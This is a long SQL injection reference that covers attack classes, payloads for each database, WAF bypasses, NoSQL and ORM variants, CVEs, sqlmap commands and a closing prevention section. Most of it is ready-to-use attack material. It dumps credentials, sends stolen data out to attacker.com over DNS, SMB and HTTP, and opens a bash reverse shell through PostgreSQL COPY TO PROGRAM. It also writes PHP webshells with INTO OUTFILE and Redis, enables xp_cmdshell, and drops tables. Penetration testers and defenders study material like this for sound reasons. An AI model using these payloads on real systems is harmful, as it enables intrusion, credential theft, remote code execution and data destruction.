Comprehensive SQL Injection Guide

A practitioner’s reference for SQL Injection — attack classes, exploitation techniques, database-specific payloads, WAF bypass methods, ORM/NoSQL variants, real-world CVEs, and detection/prevention. Compiled from 33 research sources.


Table of Contents

  1. Fundamentals
  2. Attack Classes
  3. Entry Points & Injection Contexts
  4. DBMS Fingerprinting
  5. Authentication Bypass
  6. Union-Based Injection
  7. Error-Based Injection
  8. Boolean Blind Injection
  9. Time-Based Blind Injection
  10. Out-of-Band (OOB) Injection
  11. Second-Order SQL Injection
  12. Stacked Queries & Polyglots
  13. WAF Bypass Techniques
  14. Database-Specific Payloads
  15. ORM Injection
  16. NoSQL Injection
  17. SQLi to RCE
  18. Header, Cookie & JSON-Body Injection
  19. Constraint-Based Attacks
  20. Real-World CVEs
  21. Tools & Automation
  22. Detection & Prevention
  23. Payload Quick Reference

1. Fundamentals

SQL Injection (SQLi) occurs when an attacker can influence the SQL statements that an application sends to its database. The vulnerability arises from the unsafe concatenation of untrusted input into a query string, allowing the attacker to break out of the intended data context and execute attacker-controlled SQL. SQLi has sat in the OWASP Top Ten since its inception and remains one of the highest-impact classes of web vulnerability despite decades of awareness.

Impact spectrum: Authentication bypass -> data disclosure -> data modification -> privilege escalation -> file read/write on the DB host -> remote code execution -> full host/network compromise.

Why SQLi persists:

  • Dynamic query construction via string concatenation/format-string interpolation.
  • ORMs that expose raw-SQL escape hatches (.raw(), .extra(), @Query(nativeQuery=true)).
  • Second-order flows where stored data is reused unsafely in later queries.
  • Exotic input contexts (JSON bodies, headers, XML, ORDER BY clauses) not covered by parameter binding or WAF rules.
  • Developer overreliance on WAFs and blacklist-style sanitization.

Root cause, plain:

-- Vulnerable: user input becomes part of the query grammar
query = "SELECT * FROM users WHERE username='" + input + "'";

-- Safe: user input is a bound parameter, never grammar
cursor.execute("SELECT * FROM users WHERE username = %s", (input,))

2. Attack Classes

ClassSub-classChannelPrereq
In-bandUnion-basedSame HTTP responseQuery result is reflected
In-bandError-basedSame HTTP responseDB errors surfaced
Inferential (Blind)Boolean-basedResponse diffDistinguishable true/false response
Inferential (Blind)Time-basedResponse timingDB supports sleep/benchmark primitive
Out-of-bandDNS/HTTP OASTExternal channelDB can make outbound requests
StackedMulti-statementSame responseDriver allows ; batching
Second-orderStored-then-usedLater queryData persisted and reused in raw SQL

Choosing a class in the field:

  1. Test for reflection and errors first. If you can see output, prefer union or error-based for speed.
  2. If responses differ only in content, pursue boolean blind.
  3. If responses are identical, fall back to time-based.
  4. If egress is allowed and timing is unstable, prefer OOB.

3. Entry Points & Injection Contexts

Parameter locations

LocationNotes
GET query stringClassic; ?id=1, ?page=, ?sort=
POST body (form)Login forms, search, filters
POST body (JSON)Often bypasses legacy WAF rules
POST body (XML/SOAP)Legacy enterprise surface
HTTP headersUser-Agent, Referer, X-Forwarded-For, X-Real-IP in log-writing apps
CookiesSession IDs, preferences, tracking
ORDER BY / column namesCannot be parameterized in most drivers
LIMIT / OFFSETMySQL-specific injection primitives
INSERT VALUESBatch inserts, audit logs
LIKE clausesWatch for wildcard escaping bugs

Context-aware quoting

ContextTerminator example
Single-quoted string' OR '1'='1
Double-quoted string" OR "1"="1
Numeric1 OR 1=1
Parenthesised1) OR (1=1
Backtick (MySQL identifier)` OR `1`=`1
LIKE%' OR '1'='1

Special character detection payloads

'    "    `    \    ;    --    #    /*
%27  %22  %60  %5C %3B  %2D%2D
%%2727    %25%27                    (double-URL-encoded)
U+02BA U+02B9                       (unicode modifier-quote tricks)

4. DBMS Fingerprinting

Keyword-based oracles

DBMSOracle payload
MySQLconnection_id()=connection_id()
MySQLcrc32('MySQL')=crc32('MySQL')
MSSQL@@CONNECTIONS=@@CONNECTIONS
MSSQLBINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)
OracleROWNUM=ROWNUM
OracleLNNVL(0=123)
PostgreSQL5::int=5
PostgreSQLpg_client_encoding()=pg_client_encoding()
SQLitesqlite_version()=sqlite_version()
SQLitelast_insert_rowid()=last_insert_rowid()
MS Accessval(cvar(1))=1

Error-message fingerprints

DBMSDistinctive string
MySQLYou have an error in your SQL syntax
PostgreSQLERROR: unterminated quoted string
MSSQLUnclosed quotation mark after the character string
MSSQLIncorrect syntax near
OracleORA-00933 / ORA-01756 / ORA-00923
SQLiteSQLite error: near

Version extraction

MySQL       SELECT @@version         / VERSION()
PostgreSQL  SELECT version()
MSSQL       SELECT @@VERSION
Oracle      SELECT banner FROM v$version
SQLite      SELECT sqlite_version()

5. Authentication Bypass

Classical payloads for the username field:

' OR '1'='1'--
' OR 1=1 --
' OR 1=1 LIMIT 1 --
admin' --
admin' #
admin'/*
') OR ('1'='1
") OR ("1"="1
"--   /  '--            (comment-out-the-rest tricks)

Empty-string both fields (via '--) often succeeds against single-query login checks.

Raw MD5 / SHA1 auth bypass

When PHP code calls md5($password, true) and concatenates the raw-binary digest into SQL, certain inputs (e.g. ffifdyop for MD5) produce byte sequences that contain 'or' and escape the quoted context:

$sql = "SELECT * FROM admin WHERE pass='".md5($password,true)."'";
// with ffifdyop -> SELECT * FROM admin WHERE pass=''or'6<binary>'
HashInputEscape produced
md5ffifdyop'or'
md5129581926211651571912466741651878684928'or'
sha13fDf'='
sha1178374'/*

6. Union-Based Injection

Two prerequisites: same number of columns in both SELECTs, and compatible types per column.

Step 1 — Column count (ORDER BY)

1' ORDER BY 1 --
1' ORDER BY 2 --
1' ORDER BY 3 --          <-- keep going until error

Alternative: UNION SELECT NULL,NULL,NULL -- with growing NULL count.

Step 2 — Identify printable column

-1' UNION SELECT 'a',NULL,NULL --
-1' UNION SELECT NULL,'a',NULL --
-1' UNION SELECT NULL,NULL,'a' --

Columns that accept strings will reflect a in the response.

Step 3 — Pivot to data

-- MySQL
-1' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata --
-1' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database() --
-1' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users' --
-1' UNION SELECT username,password,NULL FROM users --

-- Concatenate multi-column exfil into one column
-1' UNION SELECT CONCAT_WS(0x3a,username,password),NULL,NULL FROM users --

-- GROUP_CONCAT dump-all trick
-1' UNION SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL FROM users --

Oracle note

Oracle UNION SELECT requires FROM DUAL:

' UNION SELECT NULL,NULL FROM DUAL --

7. Error-Based Injection

Useful when errors are rendered but result rows are not.

MySQL (extractvalue / updatexml)

' AND extractvalue(1,concat(0x7e,(SELECT version()))) --
' AND updatexml(1,concat(0x7e,(SELECT user())),1) --
' OR (SELECT 1 FROM (SELECT COUNT(*),concat((SELECT version()),
     floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)y) --

PostgreSQL

' AND 1=CAST((SELECT version()) AS INT) --
' AND 1=(SELECT CAST(current_user AS INT)) --

MSSQL

' AND 1=CONVERT(INT,(SELECT @@VERSION)) --
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U')) --

Oracle

' AND (SELECT UTL_INADDR.get_host_name((SELECT user FROM dual))) IS NOT NULL --
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual)) --

8. Boolean Blind Injection

The response differs (text, status, length) based on a condition. Bisect character-by-character.

' AND SUBSTRING(@@version,1,1)='5' --                    -- MySQL
' AND ASCII(SUBSTR((SELECT user),1,1))>77 --             -- generic
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' --
' AND (SELECT COUNT(*) FROM users WHERE username='admin')=1 --

Standard loop: binary-search ASCII for each position.


9. Time-Based Blind Injection

Used when neither content nor errors differ. The DB is forced to stall on a true condition.

DBMSSleep primitive
MySQLSLEEP(5) / BENCHMARK(10000000,MD5(1))
PostgreSQLpg_sleep(5)
MSSQLWAITFOR DELAY '0:0:5'
OracleDBMS_PIPE.RECEIVE_MESSAGE('a',5)
SQLiteRANDOMBLOB(100000000) (CPU burn)

Representative payloads

-- MySQL
' AND IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0) --
' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --
1) OR SLEEP(5) #

-- PostgreSQL
'; SELECT pg_sleep(5) --
' || (CASE WHEN (SELECT current_user)='postgres' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '

-- MSSQL
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')=1 WAITFOR DELAY '0:0:5' --

-- Oracle
' AND 1=(CASE WHEN (SELECT user FROM dual)='SYS' THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END) --

Tuning

  • Use multiple samples; discard outliers.
  • Adjust sleep length to response-time baseline (avoid 1s sleeps on slow apps).
  • Prefer BENCHMARK/RANDOMBLOB on hosts that block SLEEP.

10. Out-of-Band (OOB) Injection

The DB initiates an external network request containing stolen data.

MSSQL

'; EXEC master..xp_dirtree '\\attacker.com\'+(SELECT TOP 1 password FROM users)+'\a' --

Oracle

-- HTTP
' || UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) || '

-- DNS
' || (SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual) || '

MySQL (Windows only)

-- LOAD_FILE against UNC path
' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\a')) --

PostgreSQL

COPY (SELECT '') TO PROGRAM 'nslookup $(whoami).attacker.com'

11. Second-Order SQL Injection

The injected payload is safely stored (often via a parameterized query) but later retrieved and concatenated into a raw query. Classic scenarios:

  • Register as admin'--, then trigger the “change password” feature that builds UPDATE users SET password='x' WHERE username='<retrieved>'.
  • Audit logging that formats a stored user-agent string into a SQL INSERT later.
  • Report-generation batch jobs pulling stored filter strings into EXEC sp_executesql.

Detection: store distinctive markers (z1z'"--) in every writable field and grep the DB error log after operating the full application flow. Fuzz every write endpoint, then operate every read/report path.

Prevention: parameterize on both ends — storage and use. Never assume “data from our own DB” is safe.


12. Stacked Queries & Polyglots

Stacked

Supported by MSSQL (most drivers) and PostgreSQL. MySQL via mysqli stacks, but PDO with PDO::ATTR_EMULATE_PREPARES often also allows it. Oracle does not stack.

'; DROP TABLE audit; --
'; INSERT INTO users(username,password) VALUES('bd','x'); --
'; EXEC xp_cmdshell 'whoami'; --

Polyglot payloads

Single strings that are valid in multiple contexts (quote style, paren depth, comment variant):

SLEEP(1) /*'/*"/**/ or SLEEP(1) /*'or SLEEP(1) or'*/
1'"(){}[]<!--?>,;/\

13. WAF Bypass Techniques

Encoding

EncodingExample
URL%27%20OR%201=1--
Double URL%2527%2520OR%25201=1--
Unicode%u0027 OR 1=1--
Hex literals0x61646d696e = 'admin'
Char() / Chr()CHAR(97,100,109,105,110)
Base64 (via FROM_BASE64)CONCAT(FROM_BASE64('YWRtaW4='))

Comments & whitespace

UNION/**/SELECT
UNION/*!50000SELECT*/                (MySQL versioned)
UN/**/ION SE/**/LECT
UNION%0aSELECT                        (newline)
UNION%09SELECT                        (tab)
UNION%a0SELECT                        (non-breaking space)
UNION(SELECT(1),2,3)                  (no whitespace at all)

Case variation

uNiOn SeLeCt
UnIoN SeLeCt null, PaSsWoRd FrOm UsErS

Keyword obfuscation (MySQL versioned comments)

/*!50000UNION*/ /*!50000SELECT*/ 1
/*!50000%75%6e%69on*/ %73%65%6cect 1
/*!12345UnioN*//**/(/*!12345seLECT*//**/1)

Alternative syntax

DisallowedReplacement
Spaces/**/, %0a, %0b, %0c, %0d, %09, %a0, parentheses
=LIKE, <>, REGEXP, RLIKE, BETWEEN n AND n
,JOIN, FROM (SELECT 1)a JOIN (SELECT 2)b
OR/AND`
Quoteshex literals, CHAR(), backticks for identifiers
UNION SELECTUNION ALL SELECT, UNION DISTINCTROW SELECT

Comma-less UNION

UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

JSON-based WAF bypass (Claroty Team82, 2022)

Several major WAFs (AWS, Cloudflare, F5, Imperva, Palo Alto) historically failed to parse JSON functions. Since MySQL, PostgreSQL, MSSQL, and SQLite all natively support JSON operators, payloads such as:

' OR JSON_LENGTH('{}') <= 8896 UNION DISTINCTROW SELECT @@version #

…pass the signature filter while still executing as SQL. Rotate through JSON_OBJECT(), JSON_VALUE(), JSON_EXTRACT(), ->, ->>, JSON_KEYS(), JSON_ARRAY() when a vendor blocks one.

Parameter pollution

?id=1&id=' UNION SELECT 1,2,3--

Different stacks concatenate, take first, or take last — behaviour mismatch between the WAF and the app is the bypass.

HTTP parameter nesting for frameworks

?filter[user][$where]=...             (Node/Express/Mongo)
?user[name][]=admin'--                 (PHP array folding)

14. Database-Specific Payloads

14.1 MySQL / MariaDB

-- Version / user / DB
SELECT @@version, @@hostname, @@datadir, @@basedir, user(), database();

-- Schemas / tables / columns
SELECT schema_name FROM information_schema.schemata;
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
SELECT column_name FROM information_schema.columns WHERE table_name='users';

-- Dump creds
SELECT user,authentication_string FROM mysql.user;

-- File read
SELECT LOAD_FILE('/etc/passwd');

-- File write (INTO OUTFILE)
SELECT '<?php system($_GET[c]); ?>' INTO OUTFILE '/var/www/html/s.php';

-- Sleep
SELECT SLEEP(5);  BENCHMARK(10000000,MD5('x'));

-- No-quote strings
0x61646d696e               -- hex 'admin'
CHAR(97,100,109,105,110)

14.2 PostgreSQL

-- Version / user / DB
SELECT version(), current_user, current_database(), inet_server_addr();

-- Schemas
SELECT datname FROM pg_database;
SELECT table_name FROM information_schema.tables;

-- Dump creds
SELECT usename, passwd FROM pg_shadow;

-- Stacked file read via COPY (requires superuser)
COPY (SELECT '') TO PROGRAM 'id > /tmp/x';
CREATE TABLE t(x text); COPY t FROM '/etc/passwd'; SELECT * FROM t;

-- Large object file read
SELECT lo_import('/etc/passwd');

-- Sleep
SELECT pg_sleep(5);

-- Concatenation
' || (SELECT current_user) || '

14.3 MSSQL

-- Version / user / DB
SELECT @@VERSION, SYSTEM_USER, DB_NAME(), HOST_NAME();

-- Linked servers
SELECT * FROM master..sysservers;
EXEC sp_linkedservers;

-- Dump logins (requires sysadmin)
SELECT name, password_hash FROM sys.sql_logins;

-- xp_cmdshell (requires sysadmin + enable)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- OLE automation RCE (alt path)
EXEC sp_oacreate 'WScript.Shell', @shell OUT;
EXEC sp_oamethod @shell, 'Run', null, 'cmd /c calc';

-- Sleep
WAITFOR DELAY '0:0:5';

14.4 Oracle

-- Version / user
SELECT banner FROM v$version;
SELECT user FROM dual;
SELECT global_name FROM global_name;

-- Tables
SELECT table_name FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';

-- Sleep (no SLEEP function)
BEGIN DBMS_LOCK.SLEEP(5); END;
SELECT 1 FROM dual WHERE DBMS_PIPE.RECEIVE_MESSAGE('a',5) IS NOT NULL;

-- OOB HTTP
SELECT UTL_HTTP.REQUEST('http://attacker/'||user) FROM dual;

14.5 SQLite

-- Version
SELECT sqlite_version();

-- Enumerate
SELECT name FROM sqlite_master WHERE type='table';
SELECT sql  FROM sqlite_master WHERE type='table' AND name='users';

-- Attach external DB (RCE path on old versions)
ATTACH DATABASE '/var/www/html/x.php' AS x;
CREATE TABLE x.pwn(c TEXT);
INSERT INTO x.pwn VALUES('<?php system($_GET[c]); ?>');

-- Blind timing (no SLEEP; CPU burn)
AND 1=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(500000000))))

15. ORM Injection

Safe-by-default ORMs still expose unsafe escape hatches. ORM injection is common in practice because developers reach for raw SQL when the ORM DSL is awkward.

15.1 Django ORM (Python)

APISafe?
Model.objects.filter(name=x)Safe — parameterized
Model.objects.raw("SELECT ... %s", [x])Safe if placeholders used
Model.objects.raw(f"SELECT ... {x}")Vulnerable
.extra(where=["name='%s'" % x])Vulnerable
.annotate(..., RawSQL("... %s", [x]))Safe if placeholders used
cursor.execute(f"... {x}")Vulnerable
QuerySet.order_by(user_input)Unsafe if input is untrusted (column name injection)

15.2 SQLAlchemy (Python)

# Vulnerable
session.execute(f"SELECT * FROM users WHERE id={uid}")
session.execute(text(f"SELECT * FROM users WHERE id={uid}"))

# Safe
session.execute(text("SELECT * FROM users WHERE id=:uid"), {"uid": uid})

text() does not auto-parameterize; it is an f-string sink unless bindparams are used.

15.3 Hibernate / JPA (Java)

APISafe?
@Query("SELECT u FROM User u WHERE u.name=:n")Safe
@Query(value="SELECT * FROM users WHERE name='"+n+"'", nativeQuery=true)Vulnerable
entityManager.createNativeQuery(sql) with concatVulnerable
Criteria APISafe
HQL with positional ?1Safe

Common pitfall: LIKE '%"+name+"%' in native queries.

15.4 Sequelize (Node)

// Vulnerable
sequelize.query(`SELECT * FROM users WHERE id=${id}`)

// Safe
sequelize.query('SELECT * FROM users WHERE id=:id',
                { replacements: { id }, type: QueryTypes.SELECT })

Op.and/Op.or with raw user input as keys can also inject.

15.5 Other gotchas

  • GORM (Go): db.Where("name="+name) is vulnerable; db.Where("name=?", name) is safe.
  • Eloquent (Laravel): DB::raw(), whereRaw(), orderByRaw() are sinks.
  • ActiveRecord (Rails): where("name='#{x}'"), order(x), pluck(x) are sinks.
  • Prisma: $queryRawUnsafe(x); use $queryRaw tagged template instead.

16. NoSQL Injection

16.1 MongoDB — operator injection

Classic login bypass when the app passes a parsed JSON body directly to find:

{ "username": {"$ne": null}, "password": {"$ne": null} }
{ "username": "admin",        "password": {"$gt": ""} }
{ "username": {"$regex":"^a"},"password": {"$ne":null} }

URL-encoded form bodies that Express parses into objects:

username[$ne]=null&password[$ne]=null
username[$regex]=^admin&password[$ne]=null

16.2 MongoDB — $where JS injection

{ "$where": "this.username == 'admin' && sleep(5000)" }
{ "$where": "function(){return this.pwd.match(/^a/)}" }

The $where operator runs server-side JavaScript; a successful injection yields eval primitives inside the DB.

16.3 Blind NoSQL

username=admin&password[$regex]=^a
username=admin&password[$regex]=^b
...

Regex-based bisection of secrets one character at a time.

16.4 CouchDB

GET /db/_all_docs?startkey="a"&endkey="z"
POST /db/_find {"selector":{"$where":"..."}}

Admin endpoints (/_config, /_users) are frequent targets when auth is misconfigured.

16.5 Redis

Redis is not SQL but is often targeted via “command injection” when apps build Redis protocol strings with CR/LF characters:

key\r\nCONFIG SET dir /var/www/html\r\nCONFIG SET dbfilename shell.php\r\nSET x "<?php system($_GET[c]);?>"\r\nSAVE\r\n

17. SQLi to RCE

17.1 MSSQL: xp_cmdshell

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'powershell -enc ...';

Alternate routes when xp_cmdshell is disabled:

  • sp_OACreate + WScript.Shell
  • CLR assembly install (CREATE ASSEMBLY ... FROM 0x...)
  • BULK INSERT with UNC path for SMB hash capture

17.2 MySQL: INTO OUTFILE webshell

Requirements: FILE privilege, secure_file_priv unset or pointing at webroot, known absolute path.

SELECT '<?php system($_GET["c"]); ?>'
INTO OUTFILE '/var/www/html/uploads/s.php';

-- Binary write for ELF/EXE
SELECT 0x7f454c46...  INTO DUMPFILE '/tmp/x';

INTO DUMPFILE writes a single row without line terminators and is preferred for binaries.

17.3 MySQL: LOAD_FILE exfil

UNION SELECT LOAD_FILE('/etc/passwd') --
UNION SELECT LOAD_FILE('/var/lib/mysql-files/secret') --

Reads are limited by secure_file_priv.

17.4 PostgreSQL: COPY … FROM PROGRAM

-- Requires pg_read_server_files / pg_execute_server_program or superuser
CREATE TABLE cmd_exec(x text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

-- One-liner (no output)
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATT/443 0>&1"';

On modern hardened clusters, COPY ... PROGRAM is disabled for non-superusers; escalate via UDF load from a temp extension directory (historical CVE-2019-9193).

17.5 Oracle

-- DBMS_SCHEDULER job
BEGIN DBMS_SCHEDULER.CREATE_JOB(
  job_name => 'x', job_type => 'EXECUTABLE',
  job_action=> '/bin/sh', number_of_arguments => 2,
  enabled => FALSE);
...
END;

-- Java stored procedure (if Java is enabled in the DB)
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "ExecSQL" AS
  import java.lang.*; import java.io.*;
  public class ExecSQL { ... }

17.6 FortiWeb CVE-2025-25257 case study

Unauthenticated SQLi in the get_fabric_user_by_token handler on the Fabric Connector component. The attacker-controlled token is concatenated into a MySQL query without sanitization. Because the mysql user had file write privileges, SELECT ... INTO OUTFILE was used to write a Python payload to a path that the appliance subsequently executed — pre-auth SQLi to RCE. Affected: FortiWeb 7.6.0-7.6.3, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.0-7.0.10. Mitigation: patch, or disable the HTTP/HTTPS admin interface.

Key takeaways:

  1. Legacy appliances still ship hand-rolled SQL builders in C/C++.
  2. Running the DB process as a privileged user on the appliance turns any SQLi into host compromise.
  3. INTO OUTFILE remains a reliable SQLi-to-RCE primitive 20+ years on.

18.1 Headers

Apps that log requests into the DB via raw query concatenation are vulnerable through headers that developers do not think of as user input:

User-Agent: Mozilla/5.0 ' UNION SELECT null,@@version,null -- -
Referer:    https://x.test/' OR SLEEP(5)--
X-Forwarded-For: 127.0.0.1' OR 1=1-- -

Frequent sinks: analytics inserts, audit tables, rate-limit counters keyed by IP, “last seen” updates.

18.2 Cookies

Cookie: session=abc' UNION SELECT 1,2,3 --
Cookie: tracking_id=1; prefs=' OR 1=1 --

Watch for “resume previous session” flows that read a cookie into a WHERE clause.

18.3 JSON body

{"id": "1 UNION SELECT null,version(),null --"}
{"filter": {"name": "' OR '1'='1"}}
{"sort":   "id; DROP TABLE users--"}

Many frameworks happily deserialize arbitrary JSON types then coerce to string at the SQL sink. JSON-based SQLi is also the cornerstone of the Team82 WAF bypass described in section 13.

18.4 XML/SOAP

<username>' OR 1=1 --</username>

18.5 Order-by / column-name context

Parameter binding does not cover identifiers. Apps that accept ?sort=name asc commonly forward the raw string into ORDER BY. Exploit:

?sort=(CASE WHEN (SELECT SUBSTRING(version(),1,1))='8' THEN id ELSE username END)
?sort=1,(SELECT IF(...,SLEEP(5),0))

Defense: whitelist allowed column names.


19. Constraint-Based Attacks

Not SQL injection, but frequently catalogued alongside. MySQL and SQLite silently truncate strings to the declared column length on INSERT, and pad with spaces during comparison. An attacker registering admin 1 (25+ chars) can:

  1. Pass the “does username exist?” SELECT (the literal string isn’t stored yet, so the comparison misses).
  2. Insert into the users table, where MySQL truncates to admin (25 chars).
  3. Log in with the attacker-chosen password — the login query’s comparison pads and matches the original admin row.

Defenses:

  • Enforce UNIQUE constraints at the schema level — the INSERT fails regardless of code logic.
  • Track users by immutable id, not username.
  • Validate input length on the app side to match the column limit.
  • Prefer case- and whitespace-sensitive collations where identity matters.

20. Real-World CVEs

CVEProductClassNotes
CVE-2025-25257Fortinet FortiWeb Fabric ConnectorUnauth SQLi -> RCEget_fabric_user_by_token, INTO OUTFILE RCE, CVSS 9.6
CVE-2023-34362Progress MOVEit TransferUnauth SQLi -> RCECl0p mass exploitation, stacked queries to deserialization gadget
CVE-2022-1388F5 BIG-IP iControl REST (auth bypass + SQLi path)MultiCombined auth bypass with SQLi in REST backend
CVE-2019-7192QNAP Photo StationSQLiUsed by Qlocker ransomware
CVE-2018-7600 (Drupalgeddon2)DrupalRCE (form API), paired with SQLi hunt wavesNot SQLi alone but spawned SQLi variant hunts
CVE-2017-9841PHPUnitRCESurface that later enabled chained SQLi-audit bypasses
CVE-2014-3704 (Drupalgeddon1)Drupal 7 expandArgumentsUnauth SQLi -> adminClassic array-key injection in db_query

Field lessons:

  • Pre-auth SQLi in network appliances is still common and still the fastest path to ransomware.
  • SQLi in audit/logging sinks is under-tested.
  • Patch lag on appliances (weeks-to-months) makes every SQLi a long-tail incident.

21. Tools & Automation

sqlmap

Reference automation: DBMS fingerprinting, union/error/boolean/time/stacked/OOB, tamper scripts, file read/write, OS shell, out-of-band DNS.

# Basic
sqlmap -u "https://t/item.php?id=1"

# From a Burp request
sqlmap -r req.txt --batch --risk=3 --level=5

# JSON body injection (mark the param with *)
sqlmap -r req.txt -p id --data='{"id":"1*"}' --method=POST \
       --headers="Content-Type: application/json"

# Cookie / header injection
sqlmap -u https://t/ --cookie="sess=abc*" --level=2
sqlmap -u https://t/ --headers="X-Forwarded-For: 1.1.1.1*" --level=3

# Tamper scripts (WAF bypass)
sqlmap -u ... --tamper=between,randomcase,space2comment,charencode

# Force technique
sqlmap -u ... --technique=T          # T=time, B=bool, E=error, U=union, S=stacked, Q=inline

# DB enumeration
sqlmap -u ... --dbs
sqlmap -u ... -D app --tables
sqlmap -u ... -D app -T users --dump

# File / OS
sqlmap -u ... --file-read=/etc/passwd
sqlmap -u ... --file-write=s.php --file-dest=/var/www/html/s.php
sqlmap -u ... --os-shell
sqlmap -u ... --os-pwn

# Out-of-band
sqlmap -u ... --dns-domain=attacker.com

Useful target options: --data, --param-del, --skip, --union-cols, --second-url, --safe-url, --safe-freq, --drop-set-cookie, --random-agent, --proxy, --force-ssl, -p, --dbms.

ghauri

Cross-platform SQLi tool similar in spirit to sqlmap; handles modern WAFs and odd parameter locations well, faster on time-based blind.

ghauri -u "https://t/?id=1" --dbs
ghauri -r req.txt --technique=BT --level=3 --batch

NoSQLMap

nosqlmap
# Menu-driven; supports Mongo auth-bypass, $where injection, and cluster enumeration.

BSQLInjector

Ruby tool for boolean blind SQLi; good when sqlmap gets stuck on a weirdly formed response diff. Supply a signature string that differentiates true/false.

Supporting

  • Burp Suite Intruder with a curated SQLi payload set (PayloadsAllTheThings is the usual source).
  • sqlninja (MSSQL-focused, legacy but still handy for xp_cmdshell paths).
  • jSQL Injection (GUI, Java, supports many DBs).
  • Nuclei templates (cves/, vulnerabilities/sql-injection/).

22. Detection & Prevention

22.1 Parameterized queries (the fix)

This is the single most important control. Every mainstream language has a safe API:

cursor.execute("SELECT * FROM users WHERE id=%s", (user_id,))            # psycopg2, PyMySQL
PreparedStatement ps = conn.prepareStatement(
  "SELECT * FROM users WHERE id=?");
ps.setInt(1, userId);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?");
$stmt->execute([$userId]);
db.query('SELECT * FROM users WHERE id=?', [userId]);
db.QueryRow("SELECT * FROM users WHERE id=$1", userID)

Important gotchas:

  • PDO with PDO::ATTR_EMULATE_PREPARES = true still concatenates under the hood; disable emulation on MySQL when feasible.
  • “Parameterized” frameworks with query(fmt.Sprintf(...)) escape hatches are still vulnerable when the hatch is used.
  • Identifiers (table/column names) and ORDER BY directions cannot be bound — whitelist them.

22.2 Stored procedures

Stored procedures are only safe if they themselves use parameters internally. A stored proc that builds EXEC sp_executesql @dyn from concatenated inputs is no safer than inline SQL.

22.3 Input validation & allowlisting

  • Strict allowlist per field (numeric -> integer parse; enum -> set membership; email -> regex + length).
  • Reject on fail; do not “sanitize” by replacing characters.
  • Apply normalisation before validation (NFKC, case-fold for Unicode tricks).

22.4 Least privilege

  • Separate DB users per application role: read-only, write, admin.
  • Never run the web DB account as root/sa/postgres.
  • Revoke FILE, xp_cmdshell, COPY PROGRAM, CREATE FUNCTION, pg_read_server_files, BULK INSERT, ALTER, DROP.
  • Disable stacked queries at the driver level when the app does not need them.
  • Apply row-level security where the DB supports it (PostgreSQL RLS, Oracle VPD).

22.5 Error handling

  • Never expose raw DB error text to the user.
  • Log the error with a correlation id; show the id.
  • Do not page error banners to anonymous users.

22.6 Defense in depth

  • WAF with JSON-aware rules (post-2022 Team82 fix).
  • Query allowlisting (pg_audit, MySQL Enterprise Audit, application-level query logging).
  • Anomaly detection on DB user behaviour (new tables queried, off-hours COPY).
  • DB firewall (Oracle DB Firewall, Imperva Gateway).
  • Egress filtering — if the DB host cannot make outbound requests, OOB SQLi and COPY TO PROGRAM reverse shells fail.
  • secure_file_priv=NULL in MySQL kills INTO OUTFILE/LOAD_FILE.

22.7 Detection signals

SignalWhat it catches
UNION / SELECT / information_schema in parametersClassic union-based
SLEEP(, pg_sleep(, WAITFOR DELAY, BENCHMARK(Time-based blind
xp_cmdshell, sp_oa, OPENROWSETMSSQL RCE attempts
INTO OUTFILE, INTO DUMPFILE, LOAD_FILEMySQL file R/W
COPY, pg_read_server_files, lo_importPostgreSQL file R/W
JSON_LENGTH, JSON_EXTRACT, ->, ->> in paramsJSON-based WAF bypass
Repeated single-char changes + response-length diffBoolean blind bisection
Bursty 5-second response times from one client/IPTime-based blind
DB error strings in HTTP responsesError-based discovery
DB user issuing DDL in productionPost-exploitation

22.8 Testing in CI

  • Unit tests that hit the DB with known-bad payloads and assert 400/422, not 500.
  • SAST: enable SQLi sinks rules in Semgrep/CodeQL; mark every executeRaw, .raw(), $queryRawUnsafe, DB::raw, cursor.execute(f"...") as a must-review finding.
  • DAST: sqlmap or Burp Scanner against staging with full auth coverage.
  • Fuzz every write endpoint with marker payloads, then operate every read path to catch second-order issues.

23. Payload Quick Reference

23.1 Entry-point probes

'    "    `    ;    )    *
' OR '1'='1
' OR 1=1 -- -
" OR "" = "
') OR ('1'='1
1 AND 1=1
1 AND 1=2
1 AND SLEEP(5)

23.2 Comment variants

--      --+       -- -      #       /*comment*/      ;%00

23.3 Auth bypass one-liners

' OR 1=1 LIMIT 1 --
admin' --
admin'--
admin'/*
" OR "1"="1" --
') OR '1'='1
' UNION SELECT 1, 'admin', 'pass' --

23.4 Union column count

' ORDER BY 1 --
' ORDER BY 2 --
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --

23.5 MySQL cheat block

' UNION SELECT @@version,user(),database() --
